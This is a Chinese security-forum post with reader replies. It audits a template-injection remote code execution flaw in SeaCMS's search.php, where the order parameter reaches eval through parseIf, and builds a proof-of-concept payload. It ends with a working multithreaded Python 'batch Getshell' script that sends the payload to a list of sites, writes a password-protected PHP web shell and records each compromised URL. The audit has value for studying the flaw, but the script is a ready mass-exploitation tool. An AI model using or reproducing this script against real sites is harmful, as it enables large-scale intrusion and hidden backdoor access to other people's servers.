用户
搜索
  • TA的每日心情
    慵懒
    13 小时前
  • 签到天数: 85 天

    连续签到: 3 天

    [LV.6]常住居民II

    i春秋作家

    i春秋十五军菜鸟团团长

    Rank: 7Rank: 7Rank: 7

    24

    主题

    84

    帖子

    660

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-3-3 01:01:17 117504

    前言

    昨晚审计到了三点,今天还要整理宿舍就没有写文章。这个CMS没有用框架,漏洞的执行过程我看了很久才看完,下面就写漏洞执行过程和POC构造还有用Python编写批量Getshell脚本。

    环境

    Web: phpstudy
    System: Windows 10 X64
    Browser: Firefox Quantum
    Python version : 2.7

    漏洞代码执行过程分析

    先看一下这个代码是一个怎么执行的吧,我画了一个流程图,有点简陋,不过如果真的要深入了解一定要亲自去看一遍代码才行。

    漏洞详情

    漏洞代码执行

    Payload代码

    http://seacms.test/search.php
    POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

    执行结果

    分析过程

    1. 漏洞的触发点是在search.php 中的echoSearchPage()函数可以触发漏洞。常规的分析都是先找GETPOST的位置,在这个文件里面没有这些变量,原来是在./include/common.php里面。
      if(PHP_VERSION < '4.1.0') {
          $_GET = &$HTTP_GET_VARS;
          $_POST = &$HTTP_POST_VARS;
          $_COOKIE = &$HTTP_COOKIE_VARS;
          $_SERVER = &$HTTP_SERVER_VARS;
          $_ENV = &$HTTP_ENV_VARS;
          $_FILES = &$HTTP_POST_FILES;
      }
      ......
      foreach(Array('_GET','_POST','_COOKIE') as $_request)
      {
          foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
      }

    所以Payload用GET还是POST都是可以的。

    1. 由于代码太多就例举主要的代码段分析,继续回到search.php里面的echoSearchPage()函数。
      第一句是把这些变量设置为全局变量,方便下面来传值。
      第二句是判断$order是否为空,如果为空就把time赋值给$order。
      global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
          $order = !empty($order)?$order:time;
    2. 这段是Payload的里面一个重要的参数$searchtype的代码,一定要赋值5,可以到看到等于5的时候就有$order变量,所以我们要传$order进去就赋值5,至于为什么要赋值给$order,先跟着代码执行下去自然就会明白了。
      这里还有一个点,就是第四行的$pSize这里是选择模版文件,就是为了接下来使用str_replace函数对这个模版文件的内容进行替换。
      替换内容的文件在\data\cache里面,下面是文件的位置。
      if(intval($searchtype)==5)
          {
                  $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
                  $typeStr = !empty($tid)?intval($tid).'_':'0_';
                  $yearStr = !empty($year)?PinYin($year).'_':'0_';
                  $letterStr = !empty($letter)?$letter.'_':'0_';
                  $areaStr = !empty($area)?PinYin($area).'_':'0_';
                  $orderStr = !empty($order)?$order.'_':'0_';
                  $jqStr = !empty($jq)?$jq.'_':'0_';
                  $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
                  $pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
          }else
          {
                  if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
                  $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
                  $cacheName="parse_search_";
                  $pSize = getPageSizeOnCache($searchTemplatePath,"search","");
          }
      。。。。。。。中间有很多代码就不一一分析中间的了。
          $content = str_replace("{searchpage:page}",$page,$content);
              $content = str_replace("{seacms:searchword}",$searchword,$content);
          $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
              $content = str_replace("{searchpage:ordername}",$order,$content);
    3. 来到这里了,离构造POC又进一步了。我们只要的是看parseIf这个函数,在此之前我们可以先用echo来输出一下$content的内容,下面是对比图:


            $content=$mainClassObj->parseIf($content);
            $content=str_replace("{seacms:member}",front_member(),$content);
            $searchPageStr = $content;
            echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
    1. 下面我们继续跟进parseIf这个函数,代码我就贴执行代码漏洞的地方。代码中用到一些不懂函数可以去PHP官网或者百度Google一下。
      $labelRule*这些变量都是规则,preg_match_all函数就用到了第一个规则{if:(.*?)}(.*?){end if}
      有很多新手估计要看很久才能看得懂这段正则,我在这里稍微解释一下,{if:(.?)}(.?){end if},除了加粗部分是一定要符合{if:}{end if},中间的(.*?)是用了贪婪的模式,它把匹配到的赋值到一个数组$iar里面,大家可以输入一下这个数组:

      大家发现了吗,变量$order的值也在里面,所以我们为什么要用order这个函数写入要执行的代码了。
      来看这一句if (strpos($strThen,$labelRule2)===false){判断strpos返回是否为假就执行下面的代码,我们来输出下$strThen到底有没有这个$labelRule2变量的内容。

      可以看到是没有的,所以会执行下面的代码,if (strpos($strThen,$labelRule3)>=0){这个判断从上面输出就可以看到有这个内容,所以为真执行下面的代码。
      下面三句代码就不用看了,因为重要的是@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");里面的$strIf变量也就是数组$iar[1]数组$iar[1]里面的内容。我们继续输出一下这个数组里面的内容。

      这里可以看出eval执行的变量是$strIf,而$strIf又有$order,所以这里又再一次解释为什么要用order参数
          function parseIf($content){
                  if (strpos($content,'{if:')=== false){
                  return $content;
                  }else{
                  $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
                  $labelRule2="{elseif";
                  $labelRule3="{else}";
                  preg_match_all($labelRule,$content,$iar);
                  $arlen=count($iar[0]);
                  $elseIfFlag=false;
                  for($m=0;$m<$arlen;$m++){
                          $strIf=$iar[1][$m];
                          $strIf=$this->parseStrIf($strIf);
                          $strThen=$iar[2][$m];
                          $strThen=$this->parseSubIf($strThen);
                          if (strpos($strThen,$labelRule2)===false){
                                  if (strpos($strThen,$labelRule3)>=0){
                                          $elsearray=explode($labelRule3,$strThen);
                                          $strThen1=$elsearray[0];
                                          $strElse1=$elsearray[1];
                      @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

      构造POC

      又到构造POC这一步骤了,经过上面的分析,我们可以很清晰地构造出POC了。

    {if:"{searchpage:ordername}"=="time"}替换模版文件里面内容
    {if:(.*?)}(.*?){end if}匹配规则
    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}")代码执行

    我们传入的order要放在{searchpage:ordername}这里,所以我们要闭合前面的标签,}{end if}这句就可以闭合前面的标签, 为什么要闭合,因为程序的{if:}{end if}也是会解析成PHP的代码,如果不闭合就会出错不执行我们的代码。
    过了这一关后,就到匹配规则了,只要符合{if:}{end if}就行了。我们要在{if:(.*?)}里面的(.*?)才会传入$strIf变量,继续看下面。

    最后一关就是闭合if(".$strIf."),加入这一句1)phpinfo();if(1就OK了

    代码执行的结果就是@eval("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}")

    所以我们的POC就是}{end if} {if:1)phpinfo();if(1}{end if}

    用Python编写批量Getshell脚本

    用了多线程,可以指定单目标或者批量。

    '''
    author:F0rmat
    '''
    
    import sys
    import requests
    import threading
    def exploit(target):
        if sys.argv[1]== "-f":
            target=target[0]
        url=target+"/search.php"
        payload = {"searchtype":5,"order":"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}","func":"assert","cmd":"fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"}
        shell = target+'/shell.php'
        try:
            r=requests.post(url,data=payload)
            verify = requests.get(shell, timeout=3)
            if "f0rmat" in verify.content:
                print 'Write success,shell url:',shell,'pass:f0rmat'
                with open("success.txt","a+") as f:
                    f.write(shell+'  pass:f0rmat'+"\n")
            else:
                print target,'Write failure!'
        except Exception, e:
            print e
    def main():
        if len(sys.argv)<3:
            print 'python check_order.py.py -h target/-f target-file'
        else:
            if sys.argv[1] == "-h":
                exploit(sys.argv[2])
            elif sys.argv[1] == "-f":
                with open(sys.argv[2], "r") as f:
                    b = f.readlines()
                    for i in xrange(len(b)):
                        if not b[i] == "\n":
                            threading.Thread(target=exploit, args=(b[i].split(),)).start()
    
    if __name__ == '__main__':
        main()

    结束

    审计这个洞,真的累,可能就是因为太菜了吧,哈哈。

    参考

    源码下载地址:https://pan.lanzou.com/i0l0leb

    http://blog.csdn.net/pygain/article/details/56016227

    http://php.net/docs.php

    https://github.com/F0r3at/Python-Tools/tree/master/seacms

    http://0day5.com/archives/4249/



    本帖被以下淘专辑推荐:

    getpass.cn
    这么详细的审计文为什么没回复
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    板凳
    发表于 2018-3-3 10:20:34
    Orvilla 发表于 2018-3-3 10:14
    这么详细的审计文为什么没回复

    审计代码是枯燥了点,正因为现在很多人都太浮躁,我在论坛发的审计文章很少人会正真去复现一遍。我估摸大部分都是拉下来看一遍就走,我的审计文章都会附带源码,好让大家去搭建环境。希望能和大家一起学习,我会每隔一两天发一篇审计文章并且都是带Python脚本的。
    getpass.cn
    使用道具 举报 回复
    F0rmat 发表于 2018-3-3 10:20
    审计代码是枯燥了点,正因为现在很多人都太浮躁,我在论坛发的审计文章很少人会正真去复现一遍。我估摸大 ...

    挺不错的文章 很详细的。 不过不知道为什么没有人回复
    使用道具 举报 回复
    发表于 2018-3-3 11:31:44
    不说了,默默关注大佬。
    使用道具 举报 回复
    之前在freebuf看过一次,然后完整的复现了一下,大佬讲的也比较详细,希望大佬能够继续保持初心写审计,我们这些小白还是很乐意看到这样子的文章!
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    6#
    发表于 2018-3-5 10:44:24
    流觞曲水月 发表于 2018-3-5 09:23
    之前在freebuf看过一次,然后完整的复现了一下,大佬讲的也比较详细,希望大佬能够继续保持初心写审计,我 ...

    非常感谢表哥的支持!
    getpass.cn
    使用道具 举报 回复
    发表于 2018-3-5 11:26:14
    支持一下,学习了。
    使用道具 举报 回复
    支持顶赞
    使用道具 举报 回复
    希望表哥多出这样的文章   支持支持
    使用道具 举报 回复
    发表于 2018-5-22 15:26:21
    表格源码下载地址挂了 可以重新提供一下下载嘛
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    11#
    发表于 2018-5-22 15:28:16
    rtgfwergf 发表于 2018-5-22 07:26
    表格源码下载地址挂了 可以重新提供一下下载嘛

    https://pan.lanzou.com/i0l0leb
    没挂
    getpass.cn
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册